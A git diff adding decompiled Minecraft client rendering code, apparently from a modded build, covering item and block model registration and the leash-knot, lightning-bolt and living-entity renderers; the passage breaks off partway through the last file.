+    registerBlock(Blocks.end_stone, "end_stone");
+    registerBlock(Blocks.oak_fence, "oak_fence");
+    registerBlock(Blocks.spruce_fence, "spruce_fence");
+    registerBlock(Blocks.birch_fence, "birch_fence");
+    registerBlock(Blocks.jungle_fence, "jungle_fence");
+    registerBlock(Blocks.dark_oak_fence, "dark_oak_fence");
+    registerBlock(Blocks.acacia_fence, "acacia_fence");
+    registerBlock(Blocks.oak_fence_gate, "oak_fence_gate");
+    registerBlock(Blocks.spruce_fence_gate, "spruce_fence_gate");
+    registerBlock(Blocks.birch_fence_gate, "birch_fence_gate");
+    registerBlock(Blocks.jungle_fence_gate, "jungle_fence_gate");
+    registerBlock(Blocks.dark_oak_fence_gate, "dark_oak_fence_gate");
+    registerBlock(Blocks.acacia_fence_gate, "acacia_fence_gate");
+    registerBlock(Blocks.furnace, "furnace");
+    registerBlock(Blocks.glass, "glass");
+    registerBlock(Blocks.glass_pane, "glass_pane");
+    registerBlock(Blocks.glowstone, "glowstone");
+    registerBlock(Blocks.golden_rail, "golden_rail");
+    registerBlock(Blocks.gold_block, "gold_block");
+    registerBlock(Blocks.gold_ore, "gold_ore");
+    registerBlock(Blocks.grass, "grass");
+    registerBlock(Blocks.gravel, "gravel");
+    registerBlock(Blocks.hardened_clay, "hardened_clay");
+    registerBlock(Blocks.hay_block, "hay_block");
+    registerBlock(Blocks.heavy_weighted_pressure_plate, "heavy_weighted_pressure_plate");
+    registerBlock(Blocks.hopper, "hopper");
+    registerBlock(Blocks.ice, "ice");
+    registerBlock(Blocks.iron_bars, "iron_bars");
+    registerBlock(Blocks.iron_block, "iron_block");
+    registerBlock(Blocks.iron_ore, "iron_ore");
+    registerBlock(Blocks.iron_trapdoor, "iron_trapdoor");
+    registerBlock(Blocks.jukebox, "jukebox");
+    registerBlock(Blocks.jungle_stairs, "jungle_stairs");
+    registerBlock(Blocks.ladder, "ladder");
+    registerBlock(Blocks.lapis_block, "lapis_block");
+    registerBlock(Blocks.lapis_ore, "lapis_ore");
+    registerBlock(Blocks.lever, "lever");
+    registerBlock(Blocks.light_weighted_pressure_plate, "light_weighted_pressure_plate");
+    registerBlock(Blocks.lit_pumpkin, "lit_pumpkin");
+    registerBlock(Blocks.melon_block, "melon_block");
+    registerBlock(Blocks.mossy_cobblestone, "mossy_cobblestone");
+    registerBlock(Blocks.mycelium, "mycelium");
+    registerBlock(Blocks.netherrack, "netherrack");
+    registerBlock(Blocks.nether_brick, "nether_brick");
+    registerBlock(Blocks.nether_brick_fence, "nether_brick_fence");
+    registerBlock(Blocks.nether_brick_stairs, "nether_brick_stairs");
+    registerBlock(Blocks.noteblock, "noteblock");
+    registerBlock(Blocks.oak_stairs, "oak_stairs");
+    registerBlock(Blocks.obsidian, "obsidian");
+    registerBlock(Blocks.packed_ice, "packed_ice");
+    registerBlock(Blocks.piston, "piston");
+    registerBlock(Blocks.pumpkin, "pumpkin");
+    registerBlock(Blocks.quartz_ore, "quartz_ore");
+    registerBlock(Blocks.quartz_stairs, "quartz_stairs");
+    registerBlock(Blocks.rail, "rail");
+    registerBlock(Blocks.redstone_block, "redstone_block");
+    registerBlock(Blocks.redstone_lamp, "redstone_lamp");
+    registerBlock(Blocks.redstone_ore, "redstone_ore");
+    registerBlock(Blocks.redstone_torch, "redstone_torch");
+    registerBlock(Blocks.red_mushroom, "red_mushroom");
+    registerBlock(Blocks.sandstone_stairs, "sandstone_stairs");
+    registerBlock(Blocks.red_sandstone_stairs, "red_sandstone_stairs");
+    registerBlock(Blocks.sea_lantern, "sea_lantern");
+    registerBlock(Blocks.slime_block, "slime");
+    registerBlock(Blocks.snow, "snow");
+    registerBlock(Blocks.snow_layer, "snow_layer");
+    registerBlock(Blocks.soul_sand, "soul_sand");
+    registerBlock(Blocks.spruce_stairs, "spruce_stairs");
+    registerBlock(Blocks.sticky_piston, "sticky_piston");
+    registerBlock(Blocks.stone_brick_stairs, "stone_brick_stairs");
+    registerBlock(Blocks.stone_button, "stone_button");
+    registerBlock(Blocks.stone_pressure_plate, "stone_pressure_plate");
+    registerBlock(Blocks.stone_stairs, "stone_stairs");
+    registerBlock(Blocks.tnt, "tnt");
+    registerBlock(Blocks.torch, "torch");
+    registerBlock(Blocks.trapdoor, "trapdoor");
+    registerBlock(Blocks.tripwire_hook, "tripwire_hook");
+    registerBlock(Blocks.vine, "vine");
+    registerBlock(Blocks.waterlily, "waterlily");
+    registerBlock(Blocks.web, "web");
+    registerBlock(Blocks.wooden_button, "wooden_button");
+    registerBlock(Blocks.wooden_pressure_plate, "wooden_pressure_plate");
+    registerBlock(Blocks.yellow_flower, BlockFlower.EnumFlowerType.DANDELION.func_176968_b(), "dandelion");
+    registerBlock(Blocks.chest, "chest");
+    registerBlock(Blocks.trapped_chest, "trapped_chest");
+    registerBlock(Blocks.ender_chest, "ender_chest");
+    registerItem(Items.iron_shovel, "iron_shovel");
+    registerItem(Items.iron_pickaxe, "iron_pickaxe");
+    registerItem(Items.iron_axe, "iron_axe");
+    registerItem(Items.flint_and_steel, "flint_and_steel");
+    registerItem(Items.apple, "apple");
+    registerItem(Items.bow, 0, "bow");
+    registerItem(Items.bow, 1, "bow_pulling_0");
+    registerItem(Items.bow, 2, "bow_pulling_1");
+    registerItem(Items.bow, 3, "bow_pulling_2");
+    registerItem(Items.arrow, "arrow");
+    registerItem(Items.coal, 0, "coal");
+    registerItem(Items.coal, 1, "charcoal");
+    registerItem(Items.diamond, "diamond");
+    registerItem(Items.iron_ingot, "iron_ingot");
+    registerItem(Items.gold_ingot, "gold_ingot");
+    registerItem(Items.iron_sword, "iron_sword");
+    registerItem(Items.wooden_sword, "wooden_sword");
+    registerItem(Items.wooden_shovel, "wooden_shovel");
+    registerItem(Items.wooden_pickaxe, "wooden_pickaxe");
+    registerItem(Items.wooden_axe, "wooden_axe");
+    registerItem(Items.stone_sword, "stone_sword");
+    registerItem(Items.stone_shovel, "stone_shovel");
+    registerItem(Items.stone_pickaxe, "stone_pickaxe");
+    registerItem(Items.stone_axe, "stone_axe");
+    registerItem(Items.diamond_sword, "diamond_sword");
+    registerItem(Items.diamond_shovel, "diamond_shovel");
+    registerItem(Items.diamond_pickaxe, "diamond_pickaxe");
+    registerItem(Items.diamond_axe, "diamond_axe");
+    registerItem(Items.stick, "stick");
+    registerItem(Items.bowl, "bowl");
+    registerItem(Items.mushroom_stew, "mushroom_stew");
+    registerItem(Items.golden_sword, "golden_sword");
+    registerItem(Items.golden_shovel, "golden_shovel");
+    registerItem(Items.golden_pickaxe, "golden_pickaxe");
+    registerItem(Items.golden_axe, "golden_axe");
+    registerItem(Items.string, "string");
+    registerItem(Items.feather, "feather");
+    registerItem(Items.gunpowder, "gunpowder");
+    registerItem(Items.wooden_hoe, "wooden_hoe");
+    registerItem(Items.stone_hoe, "stone_hoe");
+    registerItem(Items.iron_hoe, "iron_hoe");
+    registerItem(Items.diamond_hoe, "diamond_hoe");
+    registerItem(Items.golden_hoe, "golden_hoe");
+    registerItem(Items.wheat_seeds, "wheat_seeds");
+    registerItem(Items.wheat, "wheat");
+    registerItem(Items.bread, "bread");
+    registerItem(Items.leather_helmet, "leather_helmet");
+    registerItem(Items.leather_chestplate, "leather_chestplate");
+    registerItem(Items.leather_leggings, "leather_leggings");
+    registerItem(Items.leather_boots, "leather_boots");
+    registerItem(Items.chainmail_helmet, "chainmail_helmet");
+    registerItem(Items.chainmail_chestplate, "chainmail_chestplate");
+    registerItem(Items.chainmail_leggings, "chainmail_leggings");
+    registerItem(Items.chainmail_boots, "chainmail_boots");
+    registerItem(Items.iron_helmet, "iron_helmet");
+    registerItem(Items.iron_chestplate, "iron_chestplate");
+    registerItem(Items.iron_leggings, "iron_leggings");
+    registerItem(Items.iron_boots, "iron_boots");
+    registerItem(Items.diamond_helmet, "diamond_helmet");
+    registerItem(Items.diamond_chestplate, "diamond_chestplate");
+    registerItem(Items.diamond_leggings, "diamond_leggings");
+    registerItem(Items.diamond_boots, "diamond_boots");
+    registerItem(Items.golden_helmet, "golden_helmet");
+    registerItem(Items.golden_chestplate, "golden_chestplate");
+    registerItem(Items.golden_leggings, "golden_leggings");
+    registerItem(Items.golden_boots, "golden_boots");
+    registerItem(Items.flint, "flint");
+    registerItem(Items.porkchop, "porkchop");
+    registerItem(Items.cooked_porkchop, "cooked_porkchop");
+    registerItem(Items.painting, "painting");
+    registerItem(Items.golden_apple, "golden_apple");
+    registerItem(Items.golden_apple, 1, "golden_apple");
+    registerItem(Items.sign, "sign");
+    registerItem(Items.oak_door, "oak_door");
+    registerItem(Items.spruce_door, "spruce_door");
+    registerItem(Items.birch_door, "birch_door");
+    registerItem(Items.jungle_door, "jungle_door");
+    registerItem(Items.acacia_door, "acacia_door");
+    registerItem(Items.dark_oak_door, "dark_oak_door");
+    registerItem(Items.bucket, "bucket");
+    registerItem(Items.water_bucket, "water_bucket");
+    registerItem(Items.lava_bucket, "lava_bucket");
+    registerItem(Items.minecart, "minecart");
+    registerItem(Items.saddle, "saddle");
+    registerItem(Items.iron_door, "iron_door");
+    registerItem(Items.redstone, "redstone");
+    registerItem(Items.snowball, "snowball");
+    registerItem(Items.boat, "boat");
+    registerItem(Items.leather, "leather");
+    registerItem(Items.milk_bucket, "milk_bucket");
+    registerItem(Items.brick, "brick");
+    registerItem(Items.clay_ball, "clay_ball");
+    registerItem(Items.reeds, "reeds");
+    registerItem(Items.paper, "paper");
+    registerItem(Items.book, "book");
+    registerItem(Items.slime_ball, "slime_ball");
+    registerItem(Items.chest_minecart, "chest_minecart");
+    registerItem(Items.furnace_minecart, "furnace_minecart");
+    registerItem(Items.egg, "egg");
+    registerItem(Items.compass, "compass");
+    registerItem(Items.fishing_rod, "fishing_rod");
+    registerItem(Items.fishing_rod, 1, "fishing_rod_cast");
+    registerItem(Items.clock, "clock");
+    registerItem(Items.glowstone_dust, "glowstone_dust");
+    registerItem(Items.fish, ItemFishFood.FishType.COD.getItemDamage(), "cod");
+    registerItem(Items.fish, ItemFishFood.FishType.SALMON.getItemDamage(), "salmon");
+    registerItem(Items.fish, ItemFishFood.FishType.CLOWNFISH.getItemDamage(), "clownfish");
+    registerItem(Items.fish, ItemFishFood.FishType.PUFFERFISH.getItemDamage(), "pufferfish");
+    registerItem(Items.cooked_fish, ItemFishFood.FishType.COD.getItemDamage(), "cooked_cod");
+    registerItem(Items.cooked_fish, ItemFishFood.FishType.SALMON.getItemDamage(), "cooked_salmon");
+    registerItem(Items.dye, EnumDyeColor.BLACK.getDyeColorDamage(), "dye_black");
+    registerItem(Items.dye, EnumDyeColor.RED.getDyeColorDamage(), "dye_red");
+    registerItem(Items.dye, EnumDyeColor.GREEN.getDyeColorDamage(), "dye_green");
+    registerItem(Items.dye, EnumDyeColor.BROWN.getDyeColorDamage(), "dye_brown");
+    registerItem(Items.dye, EnumDyeColor.BLUE.getDyeColorDamage(), "dye_blue");
+    registerItem(Items.dye, EnumDyeColor.PURPLE.getDyeColorDamage(), "dye_purple");
+    registerItem(Items.dye, EnumDyeColor.CYAN.getDyeColorDamage(), "dye_cyan");
+    registerItem(Items.dye, EnumDyeColor.SILVER.getDyeColorDamage(), "dye_silver");
+    registerItem(Items.dye, EnumDyeColor.GRAY.getDyeColorDamage(), "dye_gray");
+    registerItem(Items.dye, EnumDyeColor.PINK.getDyeColorDamage(), "dye_pink");
+    registerItem(Items.dye, EnumDyeColor.LIME.getDyeColorDamage(), "dye_lime");
+    registerItem(Items.dye, EnumDyeColor.YELLOW.getDyeColorDamage(), "dye_yellow");
+    registerItem(Items.dye, EnumDyeColor.LIGHT_BLUE.getDyeColorDamage(), "dye_light_blue");
+    registerItem(Items.dye, EnumDyeColor.MAGENTA.getDyeColorDamage(), "dye_magenta");
+    registerItem(Items.dye, EnumDyeColor.ORANGE.getDyeColorDamage(), "dye_orange");
+    registerItem(Items.dye, EnumDyeColor.WHITE.getDyeColorDamage(), "dye_white");
+    registerItem(Items.bone, "bone");
+    registerItem(Items.sugar, "sugar");
+    registerItem(Items.cake, "cake");
+    registerItem(Items.bed, "bed");
+    registerItem(Items.repeater, "repeater");
+    registerItem(Items.cookie, "cookie");
+    registerItem(Items.shears, "shears");
+    registerItem(Items.melon, "melon");
+    registerItem(Items.pumpkin_seeds, "pumpkin_seeds");
+    registerItem(Items.melon_seeds, "melon_seeds");
+    registerItem(Items.beef, "beef");
+    registerItem(Items.cooked_beef, "cooked_beef");
+    registerItem(Items.chicken, "chicken");
+    registerItem(Items.cooked_chicken, "cooked_chicken");
+    registerItem(Items.rabbit, "rabbit");
+    registerItem(Items.cooked_rabbit, "cooked_rabbit");
+    registerItem(Items.mutton, "mutton");
+    registerItem(Items.cooked_mutton, "cooked_mutton");
+    registerItem(Items.rabbit_foot, "rabbit_foot");
+    registerItem(Items.rabbit_hide, "rabbit_hide");
+    registerItem(Items.rabbit_stew, "rabbit_stew");
+    registerItem(Items.rotten_flesh, "rotten_flesh");
+    registerItem(Items.ender_pearl, "ender_pearl");
+    registerItem(Items.blaze_rod, "blaze_rod");
+    registerItem(Items.ghast_tear, "ghast_tear");
+    registerItem(Items.gold_nugget, "gold_nugget");
+    registerItem(Items.nether_wart, "nether_wart");
+    itemModelMesher.register(Items.potionitem, new ItemMeshDefinition()
+    {
+      private static final String __OBFID = "CL_00002440";
+      
+      public ModelResourceLocation getModelLocation(ItemStack p_178113_1_) {
+        return net.minecraft.item.ItemPotion.isSplash(p_178113_1_.getMetadata()) ? new ModelResourceLocation("bottle_splash", "inventory") : new ModelResourceLocation("bottle_drinkable", "inventory");
+      }
+    });
+    registerItem(Items.glass_bottle, "glass_bottle");
+    registerItem(Items.spider_eye, "spider_eye");
+    registerItem(Items.fermented_spider_eye, "fermented_spider_eye");
+    registerItem(Items.blaze_powder, "blaze_powder");
+    registerItem(Items.magma_cream, "magma_cream");
+    registerItem(Items.brewing_stand, "brewing_stand");
+    registerItem(Items.cauldron, "cauldron");
+    registerItem(Items.ender_eye, "ender_eye");
+    registerItem(Items.speckled_melon, "speckled_melon");
+    itemModelMesher.register(Items.spawn_egg, new ItemMeshDefinition()
+    {
+      private static final String __OBFID = "CL_00002439";
+      
+      public ModelResourceLocation getModelLocation(ItemStack p_178113_1_) {
+        return new ModelResourceLocation("spawn_egg", "inventory");
+      }
+    });
+    registerItem(Items.experience_bottle, "experience_bottle");
+    registerItem(Items.fire_charge, "fire_charge");
+    registerItem(Items.writable_book, "writable_book");
+    registerItem(Items.emerald, "emerald");
+    registerItem(Items.item_frame, "item_frame");
+    registerItem(Items.flower_pot, "flower_pot");
+    registerItem(Items.carrot, "carrot");
+    registerItem(Items.potato, "potato");
+    registerItem(Items.baked_potato, "baked_potato");
+    registerItem(Items.poisonous_potato, "poisonous_potato");
+    registerItem(Items.map, "map");
+    registerItem(Items.golden_carrot, "golden_carrot");
+    registerItem(Items.skull, 0, "skull_skeleton");
+    registerItem(Items.skull, 1, "skull_wither");
+    registerItem(Items.skull, 2, "skull_zombie");
+    registerItem(Items.skull, 3, "skull_char");
+    registerItem(Items.skull, 4, "skull_creeper");
+    registerItem(Items.carrot_on_a_stick, "carrot_on_a_stick");
+    registerItem(Items.nether_star, "nether_star");
+    registerItem(Items.pumpkin_pie, "pumpkin_pie");
+    registerItem(Items.firework_charge, "firework_charge");
+    registerItem(Items.comparator, "comparator");
+    registerItem(Items.netherbrick, "netherbrick");
+    registerItem(Items.quartz, "quartz");
+    registerItem(Items.tnt_minecart, "tnt_minecart");
+    registerItem(Items.hopper_minecart, "hopper_minecart");
+    registerItem(Items.armor_stand, "armor_stand");
+    registerItem(Items.iron_horse_armor, "iron_horse_armor");
+    registerItem(Items.golden_horse_armor, "golden_horse_armor");
+    registerItem(Items.diamond_horse_armor, "diamond_horse_armor");
+    registerItem(Items.lead, "lead");
+    registerItem(Items.name_tag, "name_tag");
+    itemModelMesher.register(Items.banner, new ItemMeshDefinition()
+    {
+      private static final String __OBFID = "CL_00002438";
+      
+      public ModelResourceLocation getModelLocation(ItemStack p_178113_1_) {
+        return new ModelResourceLocation("banner", "inventory");
+      }
+    });
+    registerItem(Items.record_13, "record_13");
+    registerItem(Items.record_cat, "record_cat");
+    registerItem(Items.record_blocks, "record_blocks");
+    registerItem(Items.record_chirp, "record_chirp");
+    registerItem(Items.record_far, "record_far");
+    registerItem(Items.record_mall, "record_mall");
+    registerItem(Items.record_mellohi, "record_mellohi");
+    registerItem(Items.record_stal, "record_stal");
+    registerItem(Items.record_strad, "record_strad");
+    registerItem(Items.record_ward, "record_ward");
+    registerItem(Items.record_11, "record_11");
+    registerItem(Items.record_wait, "record_wait");
+    registerItem(Items.prismarine_shard, "prismarine_shard");
+    registerItem(Items.prismarine_crystals, "prismarine_crystals");
+    itemModelMesher.register(Items.enchanted_book, new ItemMeshDefinition()
+    {
+      private static final String __OBFID = "CL_00002437";
+      
+      public ModelResourceLocation getModelLocation(ItemStack p_178113_1_) {
+        return new ModelResourceLocation("enchanted_book", "inventory");
+      }
+    });
+    itemModelMesher.register(Items.filled_map, new ItemMeshDefinition()
+    {
+      private static final String __OBFID = "CL_00002436";
+      
+      public ModelResourceLocation getModelLocation(ItemStack p_178113_1_) {
+        return new ModelResourceLocation("filled_map", "inventory");
+      }
+    });
+    registerBlock(Blocks.command_block, "command_block");
+    registerItem(Items.fireworks, "fireworks");
+    registerItem(Items.command_block_minecart, "command_block_minecart");
+    registerBlock(Blocks.barrier, "barrier");
+    registerBlock(Blocks.mob_spawner, "mob_spawner");
+    registerItem(Items.written_book, "written_book");
+    registerBlock(Blocks.brown_mushroom_block, BlockHugeMushroom.EnumType.ALL_INSIDE.func_176896_a(), "brown_mushroom_block");
+    registerBlock(Blocks.red_mushroom_block, BlockHugeMushroom.EnumType.ALL_INSIDE.func_176896_a(), "red_mushroom_block");
+    registerBlock(Blocks.dragon_egg, "dragon_egg");
+    
+    if (Reflector.ModelLoader_onRegisterItems.exists())
+    {
+      Reflector.call(Reflector.ModelLoader_onRegisterItems, new Object[] { itemModelMesher });
+    }
+  }
+  
+  public void onResourceManagerReload(IResourceManager resourceManager)
+  {
+    itemModelMesher.rebuildCache();
+  }
+  
+  public static void forgeHooksClient_putQuadColor(WorldRenderer renderer, BakedQuad quad, int color)
+  {
+    float cr = color & 0xFF;
+    float cg = color >>> 8 & 0xFF;
+    float cb = color >>> 16 & 0xFF;
+    float ca = color >>> 24 & 0xFF;
+    int[] vd = quad.func_178209_a();
+    int step = vd.length / 4;
+    
+    for (int i = 0; i < 4; i++)
+    {
+      int vc = vd[(3 + step * i)];
+      float vcr = vc & 0xFF;
+      float vcg = vc >>> 8 & 0xFF;
+      float vcb = vc >>> 16 & 0xFF;
+      float vca = vc >>> 24 & 0xFF;
+      int ncr = Math.min(255, (int)(cr * vcr / 255.0F));
+      int ncg = Math.min(255, (int)(cg * vcg / 255.0F));
+      int ncb = Math.min(255, (int)(cb * vcb / 255.0F));
+      int nca = Math.min(255, (int)(ca * vca / 255.0F));
+      renderer.func_178972_a(renderer.getGLCallListForPass(4 - i), ncr, ncg, ncb, nca);
+    }
+  }
+  
+  static final class SwitchTransformType
+  {
+    static final int[] field_178640_a = new int[ItemCameraTransforms.TransformType.values().length];
+    private static final String __OBFID = "CL_00002441";
+    
+    static
+    {
+      try
+      {
+        field_178640_a[ItemCameraTransforms.TransformType.NONE.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178640_a[ItemCameraTransforms.TransformType.THIRD_PERSON.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178640_a[ItemCameraTransforms.TransformType.FIRST_PERSON.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178640_a[ItemCameraTransforms.TransformType.HEAD.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_178640_a[ItemCameraTransforms.TransformType.GUI.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+    }
+    
+    SwitchTransformType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderLeashKnot.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderLeashKnot.java
new file mode 100644
index 0000000..80a48d6
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderLeashKnot.java
@@ -0,0 +1,61 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelLeashKnot;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLeashKnot;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderLeashKnot extends Render
+{
+  private static final ResourceLocation leashKnotTextures = new ResourceLocation("textures/entity/lead_knot.png");
+  private ModelLeashKnot leashKnotModel = new ModelLeashKnot();
+  private static final String __OBFID = "CL_00001010";
+  
+  public RenderLeashKnot(RenderManager p_i46158_1_)
+  {
+    super(p_i46158_1_);
+  }
+  
+  public void func_180559_a(EntityLeashKnot p_180559_1_, double p_180559_2_, double p_180559_4_, double p_180559_6_, float p_180559_8_, float p_180559_9_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.disableCull();
+    GlStateManager.translate((float)p_180559_2_, (float)p_180559_4_, (float)p_180559_6_);
+    float var10 = 0.0625F;
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.scale(-1.0F, -1.0F, 1.0F);
+    GlStateManager.enableAlpha();
+    bindEntityTexture(p_180559_1_);
+    leashKnotModel.render(p_180559_1_, 0.0F, 0.0F, 0.0F, 0.0F, 0.0F, var10);
+    GlStateManager.popMatrix();
+    super.doRender(p_180559_1_, p_180559_2_, p_180559_4_, p_180559_6_, p_180559_8_, p_180559_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityLeashKnot p_110775_1_)
+  {
+    return leashKnotTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityLeashKnot)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180559_a((EntityLeashKnot)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderLightningBolt.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderLightningBolt.java
new file mode 100644
index 0000000..2864826
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderLightningBolt.java
@@ -0,0 +1,171 @@
+package net.minecraft.client.renderer.entity;
+
+import java.util.Random;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderLightningBolt extends Render
+{
+  private static final String __OBFID = "CL_00001011";
+  
+  public RenderLightningBolt(RenderManager p_i46157_1_)
+  {
+    super(p_i46157_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLightningBolt p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    Tessellator var10 = Tessellator.getInstance();
+    WorldRenderer var11 = var10.getWorldRenderer();
+    GlStateManager.func_179090_x();
+    GlStateManager.disableLighting();
+    GlStateManager.enableBlend();
+    GlStateManager.blendFunc(770, 1);
+    double[] var12 = new double[8];
+    double[] var13 = new double[8];
+    double var14 = 0.0D;
+    double var16 = 0.0D;
+    Random var18 = new Random(boltVertex);
+    
+    for (int var19 = 7; var19 >= 0; var19--)
+    {
+      var12[var19] = var14;
+      var13[var19] = var16;
+      var14 += var18.nextInt(11) - 5;
+      var16 += var18.nextInt(11) - 5;
+    }
+    
+    for (int var46 = 0; var46 < 4; var46++)
+    {
+      Random var47 = new Random(boltVertex);
+      
+      for (int var20 = 0; var20 < 3; var20++)
+      {
+        int var21 = 7;
+        int var22 = 0;
+        
+        if (var20 > 0)
+        {
+          var21 = 7 - var20;
+        }
+        
+        if (var20 > 0)
+        {
+          var22 = var21 - 2;
+        }
+        
+        double var23 = var12[var21] - var14;
+        double var25 = var13[var21] - var16;
+        
+        for (int var27 = var21; var27 >= var22; var27--)
+        {
+          double var28 = var23;
+          double var30 = var25;
+          
+          if (var20 == 0)
+          {
+            var23 += var47.nextInt(11) - 5;
+            var25 += var47.nextInt(11) - 5;
+          }
+          else
+          {
+            var23 += var47.nextInt(31) - 15;
+            var25 += var47.nextInt(31) - 15;
+          }
+          
+          var11.startDrawing(5);
+          float var32 = 0.5F;
+          var11.func_178960_a(0.9F * var32, 0.9F * var32, 1.0F * var32, 0.3F);
+          double var33 = 0.1D + var46 * 0.2D;
+          
+          if (var20 == 0)
+          {
+            var33 *= (var27 * 0.1D + 1.0D);
+          }
+          
+          double var35 = 0.1D + var46 * 0.2D;
+          
+          if (var20 == 0)
+          {
+            var35 *= ((var27 - 1) * 0.1D + 1.0D);
+          }
+          
+          for (int var37 = 0; var37 < 5; var37++)
+          {
+            double var38 = p_76986_2_ + 0.5D - var33;
+            double var40 = p_76986_6_ + 0.5D - var33;
+            
+            if ((var37 == 1) || (var37 == 2))
+            {
+              var38 += var33 * 2.0D;
+            }
+            
+            if ((var37 == 2) || (var37 == 3))
+            {
+              var40 += var33 * 2.0D;
+            }
+            
+            double var42 = p_76986_2_ + 0.5D - var35;
+            double var44 = p_76986_6_ + 0.5D - var35;
+            
+            if ((var37 == 1) || (var37 == 2))
+            {
+              var42 += var35 * 2.0D;
+            }
+            
+            if ((var37 == 2) || (var37 == 3))
+            {
+              var44 += var35 * 2.0D;
+            }
+            
+            var11.addVertex(var42 + var23, p_76986_4_ + var27 * 16, var44 + var25);
+            var11.addVertex(var38 + var28, p_76986_4_ + (var27 + 1) * 16, var40 + var30);
+          }
+          
+          var10.draw();
+        }
+      }
+    }
+    
+    GlStateManager.disableBlend();
+    GlStateManager.enableLighting();
+    GlStateManager.func_179098_w();
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityLightningBolt p_110775_1_)
+  {
+    return null;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityLightningBolt)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityLightningBolt)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderLiving.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderLiving.java
new file mode 100644
index 0000000..f8012cd
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderLiving.java
@@ -0,0 +1,217 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.culling.ICamera;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityHanging;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import optifine.Config;
+import shadersmod.client.Shaders;
+
+public abstract class RenderLiving extends RendererLivingEntity
+{
+  private static final String __OBFID = "CL_00001015";
+  
+  public RenderLiving(RenderManager p_i46153_1_, ModelBase p_i46153_2_, float p_i46153_3_)
+  {
+    super(p_i46153_1_, p_i46153_2_, p_i46153_3_);
+  }
+  
+
+
+
+  protected boolean canRenderName(EntityLiving targetEntity)
+  {
+    return (super.canRenderName(targetEntity)) && ((targetEntity.getAlwaysRenderNameTagForRender()) || ((targetEntity.hasCustomName()) && (targetEntity == renderManager.field_147941_i)));
+  }
+  
+  public boolean func_177104_a(EntityLiving p_177104_1_, ICamera p_177104_2_, double p_177104_3_, double p_177104_5_, double p_177104_7_)
+  {
+    if (super.func_177071_a(p_177104_1_, p_177104_2_, p_177104_3_, p_177104_5_, p_177104_7_))
+    {
+      return true;
+    }
+    if ((p_177104_1_.getLeashed()) && (p_177104_1_.getLeashedToEntity() != null))
+    {
+      Entity var9 = p_177104_1_.getLeashedToEntity();
+      return p_177104_2_.isBoundingBoxInFrustum(var9.getEntityBoundingBox());
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public void doRender(EntityLiving p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+    func_110827_b(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  public void func_177105_a(EntityLiving p_177105_1_, float p_177105_2_)
+  {
+    int var3 = p_177105_1_.getBrightnessForRender(p_177105_2_);
+    int var4 = var3 % 65536;
+    int var5 = var3 / 65536;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var4 / 1.0F, var5 / 1.0F);
+  }
+  
+  private double func_110828_a(double start, double end, double pct)
+  {
+    return start + (end - start) * pct;
+  }
+  
